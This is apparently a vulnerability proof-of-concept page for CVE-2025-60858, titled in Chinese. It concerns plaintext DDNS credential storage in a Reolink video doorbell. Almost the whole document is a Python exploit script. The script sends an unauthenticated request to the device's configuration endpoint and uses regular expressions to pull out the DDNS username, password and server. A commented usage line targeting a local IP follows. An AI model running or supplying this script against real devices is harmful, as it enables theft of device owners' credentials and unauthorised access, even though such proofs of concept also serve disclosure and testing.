CVE-2025-60858: Reolink Video Doorbell Wi-Fi DDNS凭证明文存储泄露漏洞

# CVE-2025-60858 PoC - Reolink DDNS Credential Extraction # This PoC demonstrates the extraction of plaintext DDNS credentials # from Reolink Video Doorbell Wi-Fi configuration files import requests import re import json def extract_ddns_credentials(target_ip): """ Extract DDNS credentials from Reolink device configuration """ # Target configuration endpoint config_url = f"http://{target_ip}/cgi-bin/config.cgi?action=list&group=ddns" try: # Request DDNS configuration without authentication response = requests.get(config_url, timeout=10) if response.status_code == 200: # Parse configuration for plaintext credentials config_data = response.text # Extract DDNS credentials using regex patterns username = re.search(r'ddns_username[=]\s*([^"&\n]+)', config_data) password = re.search(r'ddns_password[=]\s*([^"&\n]+)', config_data) server = re.search(r'ddns_server[=]\s*([^"&\n]+)', config_data) if username and password: credentials = { 'cve_id': 'CVE-2025-60858', 'username': username.group(1), 'password': password.group(1), 'server': server.group(1) if server else 'Unknown', 'device': 'Reolink Video Doorbell Wi-Fi DB_566128M5MP_W', 'vulnerability': 'Plaintext DDNS credential storage' } return credentials except Exception as e: print(f"Error: {e}") return None # Usage example # result = extract_ddns_credentials('192.168.1.100') # print(json.dumps(result, indent=2))